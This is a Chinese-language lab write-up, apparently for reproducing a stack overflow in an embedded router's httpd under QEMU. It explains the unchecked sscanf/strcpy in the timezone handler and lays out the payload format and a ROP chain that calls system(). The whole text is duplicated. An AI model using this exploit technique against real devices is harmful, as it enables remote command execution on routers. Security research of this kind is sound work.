环境配置

设置主机网络环境

本地桥接br0,开放tap0接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
sudo ip link add name br0 type bridge
# 将 eth9(自己选择设备) 加入网桥
sudo ip link set eth9 master br0
# 设置自己的ip
sudo ip addr add 192.168.117.1/24 dev br0
sudo ip link set br0 up

# 创建 TAP 设备(例如 tap0)
sudo ip tuntap add name tap0 mode tap
# 启动 TAP 设备
sudo ip link set tap0 up
# 将 TAP 设备添加到网桥 br0(假设 br0 已存在且配置正确)
sudo ip link set tap0 master br0
sudo ifconfig tap0 192.168.117.100/24

调整httpd文件

由于不能模拟部分环境,需要将httpd的部分判断修改后才能正常运行

*开头表示修改完成后的行

1
2
3
4
5
6
7
8
9
10
11
12
13
* .text:0002E248                 MOV             R3, #1
.text:0002E24C CMP R3, #0
.text:0002E250 BGT loc_2E260
.text:0002E254 MOV R0, #1 ; seconds
.text:0002E258 BL sleep
.text:0002E25C B loc_2E23C
.text:0002E260 ; ---------------------------------------------------------------------------
.text:0002E260
.text:0002E260 loc_2E260 ; CODE XREF: sub_2E158+F8↑j
* .text:0002E260 MOV R0, #1 ; seconds
.text:0002E264 BL sleep
.text:0002E268 BL ConnectCfm
.text:0002E26C MOV R3, #1

设置qemu环境

主机下载虚拟机镜像

1
2
3
wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress
wget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress

主机启动虚拟机

1
2
3
4
5
6
7
8
sudo qemu-system-arm \ 
-M vexpress-a9 \
-kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
-net nic -net tap,ifname=tap0,script=no,downscript=no \
-nographic -audio none

虚拟机设置eth0网络环境

1
ifconfig eth0 192.168.117.76/24 up

主机上传文件

1
scp -r ./squashfs-root root@192.168.117.76:/root

启动服务

1
2
3
4
5
6
7
8
9
10
11
12
mount -t proc /proc ./squashfs-root/proc
mount -o bind /dev ./squashfs-root/dev
chroot ./squashfs-root/ sh

brctl addbr br0 #添加br0虚拟网卡
ifconfig br0 192.168.117.76/24 up

# 修复页面显示问题
cp -rf ./webroot_ro/* ./webroot/

echo 0 > /proc/sys/kernel/randomize_va_space #关闭地址随机化
./bin/httpd

执行

将poc.py中的url替换成你的url,检查libc地址是否一致后可执行

原理

溢出点

1
2
3
4
5
6
7
8
9
10
11
12
13
  v1 = (_BYTE *)sscanf(v15 + 1, "%[^:]:%s", nptr, v6);
if ( v1 == (_BYTE *)2 )
{
if ( *v15 == '-' )
v20 = 0xC - atoi(nptr);
else
v20 = atoi(nptr) + 0xC;
sprintf(v8, "%d", v20);
strcpy(v7, v6);
SetValue("sys.timezone", v8);
v1 = (_BYTE *)SetValue("sys.timenextzone", v7);
}
}
1
"%[^:]:%s"

并不存在过滤,所以可以捕获过长的字符串进行溢出,但需要考虑要使得v1 !=2,避免多余的strcpy,因为处理不当会出现构造的rop出现错误,所以要构造以下格式的数据

1
"a"*(offset+1) + payload +": \n"

offset+1是为了满足sscanf从v15+1读取的原因

执行gadget构造

定位system,想办法控制到R0,寻找符合条件的文件

1
ROPgadget --binary httpd --only r3|ret

构造payload

1
payload+= p32(pop_r3_pc) + p32(system) + p32(mov_r0_SP_ldr_r3) + cmd

执行pop_r3_pc时,将system的地址设置为r3,将mov_r0_SP_ldr_r3的地址放入pc寄存器,也就是运行mov_r0_SP_ldr_r3处代码。

执行mov_r0_SP_ldr_r3,将sp(cmd命令地址)放入r0,跳转运行r3地址处,也就是刚刚放入r3的system

运行结果

成功打印success_pwn_it

环境配置

设置主机网络环境

本地桥接br0,开放tap0接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
sudo ip link add name br0 type bridge
# 将 eth9(自己选择设备) 加入网桥
sudo ip link set eth9 master br0
# 设置自己的ip
sudo ip addr add 192.168.117.1/24 dev br0
sudo ip link set br0 up

# 创建 TAP 设备(例如 tap0)
sudo ip tuntap add name tap0 mode tap
# 启动 TAP 设备
sudo ip link set tap0 up
# 将 TAP 设备添加到网桥 br0(假设 br0 已存在且配置正确)
sudo ip link set tap0 master br0
sudo ifconfig tap0 192.168.117.100/24

调整httpd文件

由于不能模拟部分环境,需要将httpd的部分判断修改后才能正常运行

*开头表示修改完成后的行

1
2
3
4
5
6
7
8
9
10
11
12
13
* .text:0002E248                 MOV             R3, #1
.text:0002E24C CMP R3, #0
.text:0002E250 BGT loc_2E260
.text:0002E254 MOV R0, #1 ; seconds
.text:0002E258 BL sleep
.text:0002E25C B loc_2E23C
.text:0002E260 ; ---------------------------------------------------------------------------
.text:0002E260
.text:0002E260 loc_2E260 ; CODE XREF: sub_2E158+F8↑j
* .text:0002E260 MOV R0, #1 ; seconds
.text:0002E264 BL sleep
.text:0002E268 BL ConnectCfm
.text:0002E26C MOV R3, #1

设置qemu环境

主机下载虚拟机镜像

1
2
3
wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress
wget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress

主机启动虚拟机

1
2
3
4
5
6
7
8
sudo qemu-system-arm \ 
-M vexpress-a9 \
-kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
-net nic -net tap,ifname=tap0,script=no,downscript=no \
-nographic -audio none

虚拟机设置eth0网络环境

1
ifconfig eth0 192.168.117.76/24 up

主机上传文件

1
scp -r ./squashfs-root root@192.168.117.76:/root

启动服务

1
2
3
4
5
6
7
8
9
10
11
12
mount -t proc /proc ./squashfs-root/proc
mount -o bind /dev ./squashfs-root/dev
chroot ./squashfs-root/ sh

brctl addbr br0 #添加br0虚拟网卡
ifconfig br0 192.168.117.76/24 up

# 修复页面显示问题
cp -rf ./webroot_ro/* ./webroot/

echo 0 > /proc/sys/kernel/randomize_va_space #关闭地址随机化
./bin/httpd

执行

将poc.py中的url替换成你的url,检查libc地址是否一致后可执行

原理

溢出点

1
2
3
4
5
6
7
8
9
10
11
12
13
  v1 = (_BYTE *)sscanf(v15 + 1, "%[^:]:%s", nptr, v6);
if ( v1 == (_BYTE *)2 )
{
if ( *v15 == '-' )
v20 = 0xC - atoi(nptr);
else
v20 = atoi(nptr) + 0xC;
sprintf(v8, "%d", v20);
strcpy(v7, v6);
SetValue("sys.timezone", v8);
v1 = (_BYTE *)SetValue("sys.timenextzone", v7);
}
}
1
"%[^:]:%s"

并不存在过滤,所以可以捕获过长的字符串进行溢出,但需要考虑要使得v1 !=2,避免多余的strcpy,因为处理不当会出现构造的rop出现错误,所以要构造以下格式的数据

1
"a"*(offset+1) + payload +": \n"

offset+1是为了满足sscanf从v15+1读取的原因

执行gadget构造

定位system,想办法控制到R0,寻找符合条件的文件

1
ROPgadget --binary httpd --only r3|ret

构造payload

1
payload+= p32(pop_r3_pc) + p32(system) + p32(mov_r0_SP_ldr_r3) + cmd

执行pop_r3_pc时,将system的地址设置为r3,将mov_r0_SP_ldr_r3的地址放入pc寄存器,也就是运行mov_r0_SP_ldr_r3处代码。

执行mov_r0_SP_ldr_r3,将sp(cmd命令地址)放入r0,跳转运行r3地址处,也就是刚刚放入r3的system

运行结果

成功打印success_pwn_it

1.png